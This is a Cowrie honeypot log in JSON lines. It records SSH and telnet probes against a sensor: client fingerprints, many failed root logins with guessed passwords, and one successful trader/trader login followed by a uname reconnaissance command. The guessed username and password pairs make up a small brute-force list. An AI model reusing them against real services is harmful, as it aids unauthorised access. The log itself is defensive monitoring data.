{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":43466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e69e863904","protocol":"ssh","message":"New connection: 49.51.73.108:43466 (10.17.0.5:22) [session: b7e69e863904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:26.862660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:26.866908Z","src_ip":"49.51.73.108","session":"b7e69e863904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:26.934624Z","src_ip":"49.51.73.108","session":"b7e69e863904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWEqwe","message":"login attempt [root/123!@#QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:27.238586Z","src_ip":"49.51.73.108","session":"b7e69e863904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:28.309901Z","src_ip":"49.51.73.108","session":"b7e69e863904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49076,"dst_ip":"10.17.0.5","dst_port":23,"session":"be55db4b9cc4","protocol":"telnet","message":"New connection: 192.119.13.58:49076 (10.17.0.5:23) [session: be55db4b9cc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:29.078957Z"}
{"eventid":"cowrie.session.closed","duration":48.01305174827576,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:29.423613Z","src_ip":"192.119.13.58","session":"497eeba6ddce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48276,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d284f1c2f54","protocol":"telnet","message":"New connection: 192.119.13.58:48276 (10.17.0.5:23) [session: 8d284f1c2f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:35.788341Z"}
{"eventid":"cowrie.session.closed","duration":44.27674984931946,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:44.907302Z","src_ip":"192.119.13.58","session":"1459935234e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36378,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd73e9174df","protocol":"telnet","message":"New connection: 192.119.13.58:36378 (10.17.0.5:23) [session: bbd73e9174df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:47.798552Z"}
{"eventid":"cowrie.session.closed","duration":35.45478534698486,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:49.262479Z","src_ip":"192.119.13.58","session":"5b61493bd035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58458,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e32b949f039","protocol":"telnet","message":"New connection: 192.119.13.58:58458 (10.17.0.5:23) [session: 6e32b949f039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:53.260039Z"}
{"eventid":"cowrie.session.closed","duration":35.91090130805969,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:53.265890Z","src_ip":"192.119.13.58","session":"47eea190e60e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60920,"dst_ip":"10.17.0.5","dst_port":23,"session":"e75b8bdf8f52","protocol":"telnet","message":"New connection: 192.119.13.58:60920 (10.17.0.5:23) [session: e75b8bdf8f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:54.037432Z"}
{"eventid":"cowrie.session.closed","duration":35.47360014915466,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:54.389955Z","src_ip":"192.119.13.58","session":"ad39d5dd40f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39896,"dst_ip":"10.17.0.5","dst_port":22,"session":"11d8022a5dc3","protocol":"ssh","message":"New connection: 193.32.162.145:39896 (10.17.0.5:22) [session: 11d8022a5dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:56.956869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:56.965071Z","src_ip":"193.32.162.145","session":"11d8022a5dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:57.062920Z","src_ip":"193.32.162.145","session":"11d8022a5dc3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:57.357402Z","src_ip":"193.32.162.145","session":"11d8022a5dc3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:57.653816Z","src_ip":"193.32.162.145","session":"11d8022a5dc3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:57.657595Z","src_ip":"193.32.162.145","session":"11d8022a5dc3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:57.760633Z","src_ip":"193.32.162.145","session":"11d8022a5dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:57.764906Z","src_ip":"193.32.162.145","session":"11d8022a5dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53208,"dst_ip":"10.17.0.5","dst_port":23,"session":"59de0d6c4302","protocol":"telnet","message":"New connection: 192.119.13.58:53208 (10.17.0.5:23) [session: 59de0d6c4302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:24:59.415088Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56958,"dst_ip":"10.17.0.5","dst_port":23,"session":"a49283e8af9e","protocol":"telnet","message":"New connection: 192.119.13.58:56958 (10.17.0.5:23) [session: a49283e8af9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:00.665090Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35860,"dst_ip":"10.17.0.5","dst_port":23,"session":"e62a7a19e11d","protocol":"telnet","message":"New connection: 192.119.13.58:35860 (10.17.0.5:23) [session: e62a7a19e11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:02.148195Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40672,"dst_ip":"10.17.0.5","dst_port":23,"session":"b165d8cc7995","protocol":"telnet","message":"New connection: 192.119.13.58:40672 (10.17.0.5:23) [session: b165d8cc7995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:03.315988Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":51642,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ca5664eec61","protocol":"ssh","message":"New connection: 89.108.118.91:51642 (10.17.0.5:22) [session: 3ca5664eec61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:05.032608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:05.048908Z","src_ip":"89.108.118.91","session":"3ca5664eec61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:05.218161Z","src_ip":"89.108.118.91","session":"3ca5664eec61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1996","message":"login attempt [root/dima1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:05.668940Z","src_ip":"89.108.118.91","session":"3ca5664eec61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:06.824066Z","src_ip":"89.108.118.91","session":"3ca5664eec61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.38036918640137,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:10.168591Z","src_ip":"192.119.13.58","session":"8d284f1c2f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58444,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef55d19e0ef","protocol":"ssh","message":"New connection: 103.176.20.57:58444 (159.203.135.109:22) [session: bef55d19e0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:14.047886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:14.054735Z","src_ip":"103.176.20.57","session":"bef55d19e0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.190017223358154,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:14.268891Z","src_ip":"192.119.13.58","session":"be55db4b9cc4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:14.303710Z","src_ip":"103.176.20.57","session":"bef55d19e0ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234a","message":"login attempt [root/1234a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:15.048485Z","src_ip":"103.176.20.57","session":"bef55d19e0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59448,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf01b8de919f","protocol":"ssh","message":"New connection: 51.250.105.222:59448 (10.17.0.5:22) [session: bf01b8de919f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:15.397341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:15.406910Z","src_ip":"51.250.105.222","session":"bf01b8de919f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:15.546096Z","src_ip":"51.250.105.222","session":"bf01b8de919f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxczxczxc","message":"login attempt [root/zxczxczxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:15.978120Z","src_ip":"51.250.105.222","session":"bf01b8de919f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":54740,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e62d1dd8cdc","protocol":"telnet","message":"New connection: 186.195.16.41:54740 (159.203.135.109:23) [session: 1e62d1dd8cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:16.210162Z"}
{"eventid":"cowrie.session.closed","duration":0.007379770278930664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:16.217402Z","src_ip":"186.195.16.41","session":"1e62d1dd8cdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:16.299179Z","src_ip":"103.176.20.57","session":"bef55d19e0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:17.110697Z","src_ip":"51.250.105.222","session":"bf01b8de919f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":44778,"dst_ip":"10.17.0.5","dst_port":22,"session":"b77564310946","protocol":"ssh","message":"New connection: 193.39.208.26:44778 (10.17.0.5:22) [session: b77564310946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:17.263390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:17.269068Z","src_ip":"193.39.208.26","session":"b77564310946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:17.352324Z","src_ip":"193.39.208.26","session":"b77564310946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:17.715001Z","src_ip":"193.39.208.26","session":"b77564310946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:18.802764Z","src_ip":"193.39.208.26","session":"b77564310946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60164,"dst_ip":"10.17.0.5","dst_port":23,"session":"18ed8a81a76a","protocol":"telnet","message":"New connection: 192.119.13.58:60164 (10.17.0.5:23) [session: 18ed8a81a76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:20.813006Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":34772,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab1c09fcf27","protocol":"ssh","message":"New connection: 193.228.128.84:34772 (10.17.0.5:22) [session: bab1c09fcf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:25:22.717149Z"}
